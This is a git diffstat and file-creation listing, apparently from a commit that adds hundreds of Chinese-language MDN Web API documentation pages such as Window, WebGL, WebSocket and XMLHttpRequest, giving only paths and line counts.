172 + files/zh-cn/web/api/svguseelement/index.html | 71 + files/zh-cn/web/api/text/assignedslot/index.html | 89 + files/zh-cn/web/api/text/index.html | 195 + .../api/text/iselementcontentwhitespace/index.html | 29 + .../zh-cn/web/api/text/replacewholetext/index.html | 36 + files/zh-cn/web/api/text/splittext/index.html | 127 + files/zh-cn/web/api/text/text/index.html | 96 + files/zh-cn/web/api/text/wholetext/index.html | 141 + files/zh-cn/web/api/textdecoder/index.html | 109 + files/zh-cn/web/api/textencoder/encode/index.html | 74 + .../zh-cn/web/api/textencoder/encoding/index.html | 49 + files/zh-cn/web/api/textencoder/index.html | 150 + .../web/api/textencoder/textencoder/index.html | 294 ++ files/zh-cn/web/api/textmetrics/index.html | 71 + files/zh-cn/web/api/textmetrics/width/index.html | 101 + files/zh-cn/web/api/textrange/index.html | 155 + files/zh-cn/web/api/textrange/text/index.html | 72 + files/zh-cn/web/api/timeranges/end/index.html | 72 + files/zh-cn/web/api/timeranges/index.html | 103 + files/zh-cn/web/api/timeranges/length/index.html | 59 + files/zh-cn/web/api/timeranges/start/index.html | 72 + files/zh-cn/web/api/touch/clientx/index.html | 28 + files/zh-cn/web/api/touch/clienty/index.html | 26 + files/zh-cn/web/api/touch/force/index.html | 28 + files/zh-cn/web/api/touch/identifier/index.html | 22 + files/zh-cn/web/api/touch/index.html | 117 + files/zh-cn/web/api/touch/pagex/index.html | 28 + files/zh-cn/web/api/touch/pagey/index.html | 28 + files/zh-cn/web/api/touch/radiusx/index.html | 27 + files/zh-cn/web/api/touch/radiusy/index.html | 27 + files/zh-cn/web/api/touch/rotationangle/index.html | 28 + files/zh-cn/web/api/touch/screenx/index.html | 28 + files/zh-cn/web/api/touch/screeny/index.html | 36 + files/zh-cn/web/api/touch/target/index.html | 77 + files/zh-cn/web/api/touch/touch/index.html | 121 + files/zh-cn/web/api/touch_events/index.html | 353 ++ .../multi-touch_interaction/index.html | 258 ++ .../index.html | 65 + .../api/touch_events/using_touch_events/index.html | 151 + .../web/api/touchevent/changedtouches/index.html | 34 + files/zh-cn/web/api/touchevent/index.html | 143 + .../web/api/touchevent/targettouches/index.html | 60 + files/zh-cn/web/api/touchevent/touches/index.html | 75 + files/zh-cn/web/api/touchlist/index.html | 65 + files/zh-cn/web/api/transferable/index.html | 61 + files/zh-cn/web/api/transitionevent/index.html | 173 + files/zh-cn/web/api/treewalker/index.html | 169 + files/zh-cn/web/api/typeinfo/index.html | 70 + .../zh-cn/web/api/uievent/cancelbubble/index.html | 18 + files/zh-cn/web/api/uievent/detail/index.html | 86 + files/zh-cn/web/api/uievent/index.html | 192 + files/zh-cn/web/api/uievent/ischar/index.html | 23 + files/zh-cn/web/api/uievent/pagex/index.html | 105 + files/zh-cn/web/api/uievent/pagey/index.html | 89 + files/zh-cn/web/api/uievent/uievent/index.html | 71 + .../uievent/\350\247\206\345\233\276/index.html" | 52 + files/zh-cn/web/api/url/createobjecturl/index.html | 98 + files/zh-cn/web/api/url/hash/index.html | 60 + files/zh-cn/web/api/url/host/index.html | 66 + files/zh-cn/web/api/url/hostname/index.html | 54 + files/zh-cn/web/api/url/href/index.html | 55 + files/zh-cn/web/api/url/index.html | 142 + files/zh-cn/web/api/url/origin/index.html | 112 + files/zh-cn/web/api/url/pathname/index.html | 59 + files/zh-cn/web/api/url/port/index.html | 57 + files/zh-cn/web/api/url/protocol/index.html | 55 + files/zh-cn/web/api/url/revokeobjecturl/index.html | 68 + files/zh-cn/web/api/url/search/index.html | 63 + files/zh-cn/web/api/url/searchparams/index.html | 56 + files/zh-cn/web/api/url/tojson/index.html | 54 + files/zh-cn/web/api/url/tostring/index.html | 63 + files/zh-cn/web/api/url/url/index.html | 102 + files/zh-cn/web/api/url/username/index.html | 61 + .../api/url/\345\257\206\347\240\201/index.html" | 57 + files/zh-cn/web/api/url_api/index.html | 123 + .../web/api/urlsearchparams/append/index.html | 114 + .../web/api/urlsearchparams/delete/index.html | 96 + .../web/api/urlsearchparams/entries/index.html | 57 + .../web/api/urlsearchparams/foreach/index.html | 87 + files/zh-cn/web/api/urlsearchparams/get/index.html | 63 + .../web/api/urlsearchparams/getall/index.html | 68 + files/zh-cn/web/api/urlsearchparams/has/index.html | 58 + files/zh-cn/web/api/urlsearchparams/index.html | 125 + .../zh-cn/web/api/urlsearchparams/keys/index.html | 57 + files/zh-cn/web/api/urlsearchparams/set/index.html | 107 + .../zh-cn/web/api/urlsearchparams/sort/index.html | 105 + .../web/api/urlsearchparams/tostring/index.html | 106 + .../api/urlsearchparams/urlsearchparams/index.html | 133 + .../web/api/urlsearchparams/values/index.html | 57 + files/zh-cn/web/api/urlutils/hash/index.html | 109 + files/zh-cn/web/api/urlutils/href/index.html | 108 + files/zh-cn/web/api/urlutils/index.html | 83 + files/zh-cn/web/api/urlutils/origin/index.html | 116 + files/zh-cn/web/api/urlutils/password/index.html | 104 + files/zh-cn/web/api/urlutils/pathname/index.html | 110 + files/zh-cn/web/api/urlutils/search/index.html | 116 + files/zh-cn/web/api/urlutils/tostring/index.html | 110 + files/zh-cn/web/api/urlutils/username/index.html | 102 + files/zh-cn/web/api/usb/index.html | 53 + files/zh-cn/web/api/user_timing_api/index.html | 94 + .../zh-cn/web/api/using_the_browser_api/index.html | 214 ++ files/zh-cn/web/api/usvstring/index.html | 47 + files/zh-cn/web/api/validitystate/index.html | 88 + files/zh-cn/web/api/vibration_api/index.html | 143 + .../zh-cn/web/api/videoplaybackquality/index.html | 115 + .../totalvideoframes/index.html | 64 + files/zh-cn/web/api/videotracklist/index.html | 118 + files/zh-cn/web/api/visualviewport/index.html | 133 + .../web/api/visualviewport/offsetleft/index.html | 39 + .../web/api/visualviewport/offsettop/index.html | 42 + .../web/api/visualviewport/onscroll/index.html | 41 + files/zh-cn/web/api/vrdisplay/index.html | 136 + .../api/vrdisplay/requestanimationframe/index.html | 109 + files/zh-cn/web/api/vrpose/index.html | 126 + files/zh-cn/web/api/vrpose/timestamp/index.html | 98 + files/zh-cn/web/api/wakelock/index.html | 61 + files/zh-cn/web/api/wakelock/request/index.html | 86 + files/zh-cn/web/api/wakelocksentinel/index.html | 73 + .../zh-cn/web/api/waveshapernode/curve/index.html | 62 + files/zh-cn/web/api/waveshapernode/index.html | 94 + .../web/api/waveshapernode/oversample/index.html | 82 + .../api/waveshapernode/waveshapernode/index.html | 60 + files/zh-cn/web/api/web_animations_api/index.html | 167 + .../web_animations_api/keyframe_formats/index.html | 196 + .../using_the_web_animations_api/index.html | 349 ++ .../basic_concepts_behind_web_audio_api/index.html | 432 +++ files/zh-cn/web/api/web_audio_api/index.html | 500 +++ .../web_audio_api/using_web_audio_api/index.html | 518 +++ .../visualizations_with_web_audio_api/index.html | 189 + .../web_audio_spatialization_basics/index.html | 413 ++ .../index.html" | 100 + .../web/api/web_authentication_api/index.html | 257 ++ files/zh-cn/web/api/web_crypto_api/index.html | 47 + files/zh-cn/web/api/web_speech_api/index.html | 116 + .../using_the_web_speech_api/index.html | 351 ++ files/zh-cn/web/api/web_storage_api/index.html | 105 + .../using_the_web_storage_api/index.html | 209 + .../index.html | 371 ++ files/zh-cn/web/api/web_workers_api/index.html | 102 + .../web_workers_api/using_web_workers/index.html | 794 ++++ .../webgl2renderingcontext/beginquery/index.html | 74 + .../begintransformfeedback/index.html | 79 + .../bindbufferbase/index.html | 78 + .../createsampler/index.html | 62 + .../createvertexarray/index.html | 70 + .../webgl2renderingcontext/drawbuffers/index.html | 75 + .../web/api/webgl2renderingcontext/index.html | 272 ++ .../webgl2renderingcontext/teximage3d/index.html | 174 + .../api/webgl2renderingcontext/uniform/index.html | 85 + .../uniformmatrix/index.html | 79 + .../basic_2d_animation_example/index.html | 318 ++ .../by_example/basic_scissoring/index.html | 90 + .../webgl_api/by_example/boilerplate_1/index.html | 86 + .../by_example/canvas_size_and_webgl/index.html | 80 + .../by_example/clearing_by_clicking/index.html | 109 + .../by_example/clearing_with_colors/index.html | 99 + .../webgl_api/by_example/color_masking/index.html | 128 + .../webgl_api/by_example/detect_webgl/index.html | 73 + .../api/webgl_api/by_example/hello_glsl/index.html | 168 + .../zh-cn/web/api/webgl_api/by_example/index.html | 75 + .../by_example/scissor_animation/index.html | 166 + .../by_example/simple_color_animation/index.html | 120 + files/zh-cn/web/api/webgl_api/constants/index.html | 4039 ++++++++++++++++++++ files/zh-cn/web/api/webgl_api/data/index.html | 89 + files/zh-cn/web/api/webgl_api/index.html | 267 ++ .../webgl_api/matrix_math_for_the_web/index.html | 326 ++ .../index.html | 284 ++ .../animating_objects_with_webgl/index.html | 55 + .../animating_textures_in_webgl/index.html | 144 + .../creating_3d_objects_using_webgl/index.html | 128 + .../tutorial/getting_started_with_webgl/index.html | 70 + files/zh-cn/web/api/webgl_api/tutorial/index.html | 41 + .../tutorial/lighting_in_webgl/index.html | 175 + .../index.html | 117 + .../tutorial/using_textures_in_webgl/index.html | 205 + files/zh-cn/web/api/webgl_api/types/index.html | 215 ++ .../web/api/webgl_api/using_extensions/index.html | 578 +++ .../api/webgl_api/webgl_best_practices/index.html | 48 + .../webgl_model_view_projection/index.html | 690 ++++ files/zh-cn/web/api/webgl_lose_context/index.html | 74 + .../api/webgl_lose_context/losecontext/index.html | 66 + .../webgl_lose_context/restorecontext/index.html | 68 + files/zh-cn/web/api/webglactiveinfo/index.html | 64 + files/zh-cn/web/api/webglbuffer/index.html | 65 + files/zh-cn/web/api/webglcontextevent/index.html | 74 + files/zh-cn/web/api/webglframebuffer/index.html | 61 + files/zh-cn/web/api/webglprogram/index.html | 105 + files/zh-cn/web/api/webglquery/index.html | 60 + files/zh-cn/web/api/webglrenderbuffer/index.html | 61 + .../webglrenderingcontext/activetexture/index.html | 127 + .../webglrenderingcontext/attachshader/index.html | 95 + .../bindattriblocation/index.html | 70 + .../webglrenderingcontext/bindbuffer/index.html | 127 + .../bindframebuffer/index.html | 113 + .../bindrenderbuffer/index.html | 95 + .../webglrenderingcontext/bindtexture/index.html | 117 + .../webglrenderingcontext/blendcolor/index.html | 82 + .../webglrenderingcontext/blendequation/index.html | 113 + .../blendequationseparate/index.html | 126 + .../api/webglrenderingcontext/blendfunc/index.html | 180 + .../webglrenderingcontext/bufferdata/index.html | 161 + .../api/webglrenderingcontext/canvas/index.html | 77 + .../web/api/webglrenderingcontext/clear/index.html | 89 + .../webglrenderingcontext/clearcolor/index.html | 79 + .../webglrenderingcontext/cleardepth/index.html | 75 + .../api/webglrenderingcontext/commit/index.html | 42 + .../webglrenderingcontext/compileshader/index.html | 81 + .../compressedteximage2d/index.html | 242 ++ .../webglrenderingcontext/createbuffer/index.html | 73 + .../createframebuffer/index.html | 67 + .../webglrenderingcontext/createprogram/index.html | 81 + .../createrenderbuffer/index.html | 67 + .../webglrenderingcontext/createshader/index.html | 85 + .../webglrenderingcontext/createtexture/index.html | 69 + .../api/webglrenderingcontext/cullface/index.html | 79 + .../webglrenderingcontext/deletebuffer/index.html | 75 + .../deleteframebuffer/index.html | 73 + .../webglrenderingcontext/deleteprogram/index.html | 76 + .../deleterenderbuffer/index.html | 73 + .../webglrenderingcontext/deleteshader/index.html | 66 + .../webglrenderingcontext/deletetexture/index.html | 75 + .../api/webglrenderingcontext/depthfunc/index.html | 83 + .../api/webglrenderingcontext/depthmask/index.html | 70 + .../webglrenderingcontext/detachshader/index.html | 103 + .../api/webglrenderingcontext/disable/index.html | 139 + .../webglrenderingcontext/drawarrays/index.html | 93 + .../webglrenderingcontext/drawelements/index.html | 103 + .../drawingbufferheight/index.html | 65 + .../drawingbufferwidth/index.html | 65 + .../api/webglrenderingcontext/enable/index.html | 156 + .../enablevertexattribarray/index.html | 102 + .../getattriblocation/index.html | 65 + .../getcontextattributes/index.html | 79 + .../webglrenderingcontext/getextension/index.html | 73 + .../webglrenderingcontext/getparameter/index.html | 1009 +++++ .../getprograminfolog/index.html | 80 + .../getprogramparameter/index.html | 89 + .../getshaderparameter/index.html | 72 + .../getshadersource/index.html | 67 + .../getsupportedextensions/index.html | 538 +++ .../gettexparameter/index.html | 203 + .../webglrenderingcontext/getuniform/index.html | 213 ++ .../zh-cn/web/api/webglrenderingcontext/index.html | 367 ++ .../api/webglrenderingcontext/isbuffer/index.html | 124 + .../webglrenderingcontext/iscontextlost/index.html | 58 + .../api/webglrenderingcontext/isenabled/index.html | 193 + .../api/webglrenderingcontext/isprogram/index.html | 77 + .../api/webglrenderingcontext/isshader/index.html | 78 + .../webglrenderingcontext/linkprogram/index.html | 78 + .../webglrenderingcontext/pixelstorei/index.html | 233 ++ .../renderbufferstorage/index.html | 155 + .../api/webglrenderingcontext/scissor/index.html | 94 + .../webglrenderingcontext/shadersource/index.html | 70 + .../webglrenderingcontext/teximage2d/index.html | 872 +++++ .../webglrenderingcontext/texparameter/index.html | 173 + .../api/webglrenderingcontext/uniform/index.html | 93 + .../webglrenderingcontext/uniformmatrix/index.html | 81 + .../webglrenderingcontext/useprogram/index.html | 76 + .../validateprogram/index.html | 88 + .../webglrenderingcontext/vertexattrib/index.html | 81 + .../vertexattribpointer/index.html | 270 ++ .../api/webglrenderingcontext/viewport/index.html | 91 + .../index.html" | 76 + files/zh-cn/web/api/webglsampler/index.html | 56 + files/zh-cn/web/api/webglshader/index.html | 113 + .../web/api/webglshaderprecisionformat/index.html | 56 + files/zh-cn/web/api/webglsync/index.html | 56 + files/zh-cn/web/api/webgltexture/index.html | 72 + .../zh-cn/web/api/webgluniformlocation/index.html | 124 + .../web/api/webglvertexarrayobject/index.html | 65 + .../zh-cn/web/api/webrtc_api/adapter.js/index.html | 40 + .../web/api/webrtc_api/architecture/index.html | 17 + .../web/api/webrtc_api/connectivity/index.html | 85 + files/zh-cn/web/api/webrtc_api/index.html | 131 + files/zh-cn/web/api/webrtc_api/overview/index.html | 22 + .../zh-cn/web/api/webrtc_api/protocols/index.html | 75 + .../signaling_and_video_calling/index.html | 674 ++++ .../simple_rtcdatachannel_sample/index.html | 276 ++ .../api/webrtc_api/taking_still_photos/index.html | 231 ++ .../web/api/webrtc_api/webrtc_basics/index.html | 262 ++ .../web/api/websocket/bufferedamount/index.html | 49 + files/zh-cn/web/api/websocket/close/index.html | 58 + .../zh-cn/web/api/websocket/error_event/index.html | 71 + .../zh-cn/web/api/websocket/extensions/index.html | 43 + files/zh-cn/web/api/websocket/index.html | 157 + .../web/api/websocket/message_event/index.html | 76 + files/zh-cn/web/api/websocket/onclose/index.html | 37 + files/zh-cn/web/api/websocket/onerror/index.html | 45 + files/zh-cn/web/api/websocket/onmessage/index.html | 49 + files/zh-cn/web/api/websocket/onopen/index.html | 41 + files/zh-cn/web/api/websocket/protocol/index.html | 41 + .../zh-cn/web/api/websocket/readystate/index.html | 60 + files/zh-cn/web/api/websocket/send/index.html | 78 + files/zh-cn/web/api/websocket/url/index.html | 51 + files/zh-cn/web/api/websocket/websocket/index.html | 50 + .../index.html" | 56 + files/zh-cn/web/api/websockets_api/index.html | 208 + .../websocket_server_vb.net/index.html | 270 ++ .../writing_a_websocket_server_in_java/index.html | 201 + .../index.html | 186 + .../writing_websocket_server/index.html | 273 ++ .../writing_websocket_servers/index.html | 244 ++ files/zh-cn/web/api/webvr_api/concepts/index.html | 406 ++ files/zh-cn/web/api/webvr_api/index.html | 211 + .../api/webvr_api/using_the_webvr_api/index.html | 329 ++ .../using_vr_controllers_with_webvr/index.html | 259 ++ .../webvr_api/webvr_environment_setup/index.html | 110 + files/zh-cn/web/api/webvtt_api/index.html | 913 +++++ files/zh-cn/web/api/webxr_device_api/index.html | 273 ++ .../zh-cn/web/api/wheelevent/deltamode/index.html | 122 + files/zh-cn/web/api/wheelevent/deltax/index.html | 99 + files/zh-cn/web/api/wheelevent/deltay/index.html | 101 + files/zh-cn/web/api/wheelevent/deltaz/index.html | 103 + files/zh-cn/web/api/wheelevent/index.html | 109 + files/zh-cn/web/api/window/alert/index.html | 61 + .../web/api/window/applicationcache/index.html | 38 + files/zh-cn/web/api/window/back/index.html | 26 + files/zh-cn/web/api/window/blur_event/index.html | 116 + .../web/api/window/cancelanimationframe/index.html | 117 + .../web/api/window/cancelidlecallback/index.html | 107 + .../zh-cn/web/api/window/clearimmediate/index.html | 72 + .../zh-cn/web/api/window/clearinterval/index.html | 74 + files/zh-cn/web/api/window/close/index.html | 77 + files/zh-cn/web/api/window/closed/index.html | 59 + files/zh-cn/web/api/window/confirm/index.html | 70 + files/zh-cn/web/api/window/console/index.html | 49 + files/zh-cn/web/api/window/content/index.html | 27 + files/zh-cn/web/api/window/controllers/index.html | 45 + files/zh-cn/web/api/window/copy_event/index.html | 72 + files/zh-cn/web/api/window/crypto/index.html | 117 + .../zh-cn/web/api/window/customelements/index.html | 61 + .../zh-cn/web/api/window/defaultstatus/index.html | 44 + .../api/window/deviceorientation_event/index.html | 165 + .../web/api/window/devicepixelratio/index.html | 179 + .../web/api/window/dialogarguments/index.html | 25 + files/zh-cn/web/api/window/directories/index.html | 34 + files/zh-cn/web/api/window/document/index.html | 67 + files/zh-cn/web/api/window/dump/index.html | 54 + files/zh-cn/web/api/window/error_event/index.html | 133 + files/zh-cn/web/api/window/event/index.html | 84 + files/zh-cn/web/api/window/external/index.html | 55 + files/zh-cn/web/api/window/find/index.html | 47 + files/zh-cn/web/api/window/focus/index.html | 41 + files/zh-cn/web/api/window/focus_event/index.html | 120 + files/zh-cn/web/api/window/frameelement/index.html | 73 + files/zh-cn/web/api/window/frames/index.html | 56 + files/zh-cn/web/api/window/fullscreen/index.html | 48 + .../api/window/gamepadconnected_event/index.html | 90 + files/zh-cn/web/api/window/getattention/index.html | 33 + .../web/api/window/getcomputedstyle/index.html | 151 + .../api/window/getdefaultcomputedstyle/index.html | 144 + files/zh-cn/web/api/window/getselection/index.html | 82 + .../web/api/window/hashchange_event/index.html | 88 + files/zh-cn/web/api/window/history/index.html | 34 + files/zh-cn/web/api/window/index.html | 727 ++++ files/zh-cn/web/api/window/innerheight/index.html | 122 + files/zh-cn/web/api/window/innerwidth/index.html | 78 + .../web/api/window/issecurecontext/index.html | 120 + .../web/api/window/languagechange_event/index.html | 123 + files/zh-cn/web/api/window/length/index.html | 21 + files/zh-cn/web/api/window/localstorage/index.html | 93 + files/zh-cn/web/api/window/location/index.html | 305 ++ files/zh-cn/web/api/window/locationbar/index.html | 63 + files/zh-cn/web/api/window/matchmedia/index.html | 102 + files/zh-cn/web/api/window/menubar/index.html | 57 + files/zh-cn/web/api/window/minimize/index.html | 6 + files/zh-cn/web/api/window/moveby/index.html | 34 + files/zh-cn/web/api/window/moveto/index.html | 44 + .../api/window/mozanimationstarttime/index.html | 21 + .../web/api/window/mozinnerscreenx/index.html | 44 + .../web/api/window/mozinnerscreeny/index.html | 44 + .../zh-cn/web/api/window/mozpaintcount/index.html | 21 + files/zh-cn/web/api/window/name/index.html | 66 + files/zh-cn/web/api/window/navigator/index.html | 94 + .../zh-cn/web/api/window/offline_event/index.html | 63 + .../zh-cn/web/api/window/onappinstalled/index.html | 100 + .../api/window/onbeforeinstallprompt/index.html | 118 + .../zh-cn/web/api/window/onbeforeunload/index.html | 111 + .../zh-cn/web/api/window/ondevicelight/index.html | 105 + .../zh-cn/web/api/window/ondevicemotion/index.html | 57 + .../web/api/window/ondeviceorientation/index.html | 47 + .../window/ondeviceorientationabsolute/index.html | 35 + .../web/api/window/ondeviceproximity/index.html | 93 + files/zh-cn/web/api/window/ondragdrop/index.html | 55 + .../web/api/window/ongamepadconnected/index.html | 64 + .../api/window/ongamepaddisconnected/index.html | 51 + files/zh-cn/web/api/window/onhashchange/index.html | 124 + files/zh-cn/web/api/window/online_event/index.html | 65 + files/zh-cn/web/api/window/onmouseup/index.html | 42 + .../web/api/window/onmozbeforepaint/index.html | 38 + files/zh-cn/web/api/window/onpaint/index.html | 31 + files/zh-cn/web/api/window/onpopstate/index.html | 68 + files/zh-cn/web/api/window/onscroll/index.html | 53 + files/zh-cn/web/api/window/onunload/index.html | 69 + .../web/api/window/onuserproximity/index.html | 45 + files/zh-cn/web/api/window/open/index.html | 686 ++++ files/zh-cn/web/api/window/opendialog/index.html | 71 + files/zh-cn/web/api/window/opener/index.html | 38 + .../api/window/orientationchange_event/index.html | 73 + files/zh-cn/web/api/window/outerheight/index.html | 77 + files/zh-cn/web/api/window/outerwidth/index.html | 71 + .../zh-cn/web/api/window/pagehide_event/index.html | 98 + files/zh-cn/web/api/window/pagexoffset/index.html | 92 + files/zh-cn/web/api/window/pageyoffset/index.html | 92 + files/zh-cn/web/api/window/parent/index.html | 39 + files/zh-cn/web/api/window/performance/index.html | 35 + files/zh-cn/web/api/window/personalbar/index.html | 73 + .../zh-cn/web/api/window/popstate_event/index.html | 158 + files/zh-cn/web/api/window/postmessage/index.html | 173 + files/zh-cn/web/api/window/print/index.html | 20 + files/zh-cn/web/api/window/prompt/index.html | 54 + .../api/window/rejectionhandled_event/index.html | 72 + .../api/window/requestanimationframe/index.html | 123 + .../web/api/window/requestfilesystem/index.html | 74 + .../web/api/window/requestidlecallback/index.html | 76 + files/zh-cn/web/api/window/resize_event/index.html | 182 + files/zh-cn/web/api/window/resizeby/index.html | 43 + files/zh-cn/web/api/window/resizeto/index.html | 34 + files/zh-cn/web/api/window/restore/index.html | 16 + files/zh-cn/web/api/window/screen/index.html | 32 + files/zh-cn/web/api/window/screenleft/index.html | 88 + files/zh-cn/web/api/window/screentop/index.html | 88 + files/zh-cn/web/api/window/screenx/index.html | 21 + files/zh-cn/web/api/window/screeny/index.html | 21 + files/zh-cn/web/api/window/scroll/index.html | 70 + files/zh-cn/web/api/window/scrollbars/index.html | 65 + files/zh-cn/web/api/window/scrollby/index.html | 84 + .../zh-cn/web/api/window/scrollbylines/index.html | 56 + .../zh-cn/web/api/window/scrollbypages/index.html | 40 + files/zh-cn/web/api/window/scrollmaxx/index.html | 45 + files/zh-cn/web/api/window/scrollmaxy/index.html | 48 + files/zh-cn/web/api/window/scrollto/index.html | 58 + files/zh-cn/web/api/window/scrollx/index.html | 34 + files/zh-cn/web/api/window/scrolly/index.html | 131 + files/zh-cn/web/api/window/self/index.html | 22 + .../zh-cn/web/api/window/sessionstorage/index.html | 113 + files/zh-cn/web/api/window/setcursor/index.html | 32 + files/zh-cn/web/api/window/setimmediate/index.html | 54 + files/zh-cn/web/api/window/setinterval/index.html | 635 +++ files/zh-cn/web/api/window/settimeout/index.html | 476 +++ .../web/api/window/showmodaldialog/index.html | 80 + files/zh-cn/web/api/window/sidebar/index.html | 40 + .../zh-cn/web/api/window/sizetocontent/index.html | 38 + files/zh-cn/web/api/window/stop/index.html | 52 + .../zh-cn/web/api/window/storage_event/index.html | 85 + files/zh-cn/web/api/window/top/index.html | 55 + .../zh-cn/web/api/window/updatecommands/index.html | 37 + files/zh-cn/web/api/window/url/index.html | 104 + .../zh-cn/web/api/window/visualviewport/index.html | 89 + .../zh-cn/web/api/window/window.blur()/index.html | 39 + files/zh-cn/web/api/window/window/index.html | 65 + files/zh-cn/web/api/windowbase64/atob/index.html | 78 + .../base64_encoding_and_decoding/index.html | 605 +++ files/zh-cn/web/api/windowbase64/btoa/index.html | 171 + files/zh-cn/web/api/windowclient/index.html | 167 + .../zh-cn/web/api/windowclient/navigate/index.html | 100 + files/zh-cn/web/api/windoweventhandlers/index.html | 189 + .../windoweventhandlers/onafterprint/index.html | 107 + .../windoweventhandlers/onbeforeprint/index.html | 62 + .../onlanguagechange/index.html | 101 + .../api/windoweventhandlers/onmessage/index.html | 84 + .../windoweventhandlers/onmessageerror/index.html | 119 + .../api/windoweventhandlers/onstorage/index.html | 98 + .../windoworworkerglobalscope/caches/index.html | 127 + .../createimagebitmap/index.html | 207 + .../crossoriginisolated/index.html | 58 + .../api/windoworworkerglobalscope/fetch/index.html | 173 + .../web/api/windoworworkerglobalscope/index.html | 182 + .../windoworworkerglobalscope/indexeddb/index.html | 175 + .../issecurecontext/index.html | 100 + .../windoworworkerglobalscope/origin/index.html | 98 + .../queuemicrotask/index.html | 112 + .../web/api/windowtimers/cleartimeout/index.html | 150 + files/zh-cn/web/api/worker/index.html | 106 + .../zh-cn/web/api/worker/message_event/index.html | 85 + .../web/api/worker/messageerror_event/index.html | 87 + files/zh-cn/web/api/worker/onmessage/index.html | 124 + .../zh-cn/web/api/worker/onmessageerror/index.html | 43 + files/zh-cn/web/api/worker/postmessage/index.html | 210 + files/zh-cn/web/api/worker/terminate/index.html | 106 + files/zh-cn/web/api/worker/worker/index.html | 112 + .../api/workerglobalscope/importscripts/index.html | 83 + files/zh-cn/web/api/workerglobalscope/index.html | 286 ++ .../web/api/workerglobalscope/self/index.html | 81 + files/zh-cn/web/api/xdomainrequest/index.html | 186 + files/zh-cn/web/api/xmldocument/async/index.html | 30 + files/zh-cn/web/api/xmldocument/index.html | 68 + files/zh-cn/web/api/xmldocument/load/index.html | 35 + .../zh-cn/web/api/xmlhttprequest/abort/index.html | 62 + .../web/api/xmlhttprequest/abort_event/index.html | 146 + .../web/api/xmlhttprequest/channel/index.html | 12 + .../web/api/xmlhttprequest/error_event/index.html | 139 + .../getallresponseheaders/index.html | 83 + .../xmlhttprequest/getresponseheader/index.html | 141 + .../html_in_xmlhttprequest/index.html | 194 + files/zh-cn/web/api/xmlhttprequest/index.html | 192 + .../web/api/xmlhttprequest/load_event/index.html | 142 + .../web/api/xmlhttprequest/mozanon/index.html | 16 + .../xmlhttprequest/mozbackgroundrequest/index.html | 18 + .../mozresponsearraybuffer/index.html | 12 + .../web/api/xmlhttprequest/mozsystem/index.html | 10 + .../xmlhttprequest/onreadystatechange/index.html | 120 + files/zh-cn/web/api/xmlhttprequest/open/index.html | 114 + .../web/api/xmlhttprequest/openrequest/index.html | 8 + .../api/xmlhttprequest/overridemimetype/index.html | 68 + .../web/api/xmlhttprequest/readystate/index.html | 109 + .../web/api/xmlhttprequest/response/index.html | 93 + .../web/api/xmlhttprequest/responsetext/index.html | 114 + .../web/api/xmlhttprequest/responsetype/index.html | 47 + .../web/api/xmlhttprequest/responseurl/index.html | 90 + .../web/api/xmlhttprequest/responsexml/index.html | 135 + files/zh-cn/web/api/xmlhttprequest/send/index.html | 261 ++ .../sending_and_receiving_binary_data/index.html | 153 + .../api/xmlhttprequest/setrequestheader/index.html | 109 + .../zh-cn/web/api/xmlhttprequest/status/index.html | 79 + .../web/api/xmlhttprequest/statustext/index.html | 70 + .../index.html | 237 ++ .../web/api/xmlhttprequest/timeout/index.html | 53 + .../api/xmlhttprequest/timeout_event/index.html | 128 + .../zh-cn/web/api/xmlhttprequest/upload/index.html | 116 + .../xmlhttprequest/using_xmlhttprequest/index.html | 807 ++++ .../using_xmlhttprequest_in_ie6/index.html | 28 + .../api/xmlhttprequest/withcredentials/index.html | 103 + .../api/xmlhttprequest/xmlhttprequest/index.html | 58 + .../web/api/xmlhttprequesteventtarget/index.html | 64 + .../xmlhttprequesteventtarget/onabort/index.html | 56 + .../xmlhttprequesteventtarget/onerror/index.html | 58 + .../xmlhttprequesteventtarget/onload/index.html | 54 + .../onloadstart/index.html | 54 + .../onprogress/index.html | 66 + .../web/api/xmlhttprequestresponsetype/index.html | 70 + files/zh-cn/web/api/xpathevaluator/index.html | 88 + .../web/api/\346\214\207\346\225\260/index.html" | 6 + .../concepts/index.html" | 128 + .../index.html" | 136 + .../index.html" | 153 + .../result_event/index.html" | 83 + 2276 files changed, 273665 insertions(+) create mode 100644 files/zh-cn/web/api/abortsignal/aborted/index.html create mode 100644 files/zh-cn/web/api/abortsignal/index.html create mode 100644 files/zh-cn/web/api/abortsignal/onabort/index.html create mode 100644 files/zh-cn/web/api/abstractworker/index.html create mode 100644 files/zh-cn/web/api/abstractworker/onerror/index.html create mode 100644 files/zh-cn/web/api/accelerometer/index.html create mode 100644 files/zh-cn/web/api/ambientlightsensor/ambientlightsensor/index.html create mode 100644 files/zh-cn/web/api/ambientlightsensor/index.html create mode 100644 files/zh-cn/web/api/ambientlightsensor/reading/index.html create mode 100644 files/zh-cn/web/api/analysernode/analysernode/index.html create mode 100644 files/zh-cn/web/api/analysernode/fft/index.html create mode 100644 files/zh-cn/web/api/analysernode/fftsize/index.html create mode 100644 files/zh-cn/web/api/analysernode/frequencybincount/index.html create mode 100644 files/zh-cn/web/api/analysernode/getbytefrequencydata/index.html create mode 100644 files/zh-cn/web/api/analysernode/getbytetimedomaindata/index.html create mode 100644 files/zh-cn/web/api/analysernode/getfloatfrequencydata/index.html create mode 100644 files/zh-cn/web/api/analysernode/index.html create mode 100644 files/zh-cn/web/api/analysernode/smoothingtimeconstant/index.html create mode 100644 files/zh-cn/web/api/angle_instanced_arrays/index.html create mode 100644 files/zh-cn/web/api/animation/animation/index.html create mode 100644 files/zh-cn/web/api/animation/cancel/index.html create mode 100644 files/zh-cn/web/api/animation/currenttime/index.html create mode 100644 files/zh-cn/web/api/animation/effect/index.html create mode 100644 files/zh-cn/web/api/animation/finish/index.html create mode 100644 files/zh-cn/web/api/animation/finished/index.html create mode 100644 files/zh-cn/web/api/animation/id/index.html create mode 100644 files/zh-cn/web/api/animation/index.html create mode 100644 files/zh-cn/web/api/animation/oncancel/index.html create mode 100644 files/zh-cn/web/api/animation/play/index.html create mode 100644 files/zh-cn/web/api/animation/playstate/index.html create mode 100644 files/zh-cn/web/api/animationevent/animationevent/index.html create mode 100644 files/zh-cn/web/api/animationevent/animationname/index.html create mode 100644 files/zh-cn/web/api/animationevent/index.html create mode 100644 files/zh-cn/web/api/animationtimeline/index.html create mode 100644 files/zh-cn/web/api/attr/index.html create mode 100644 files/zh-cn/web/api/attr/localname/index.html create mode 100644 files/zh-cn/web/api/attr/namespaceuri/index.html create mode 100644 files/zh-cn/web/api/attr/prefix/index.html create mode 100644 files/zh-cn/web/api/audiobuffer/audiobuffer/index.html create mode 100644 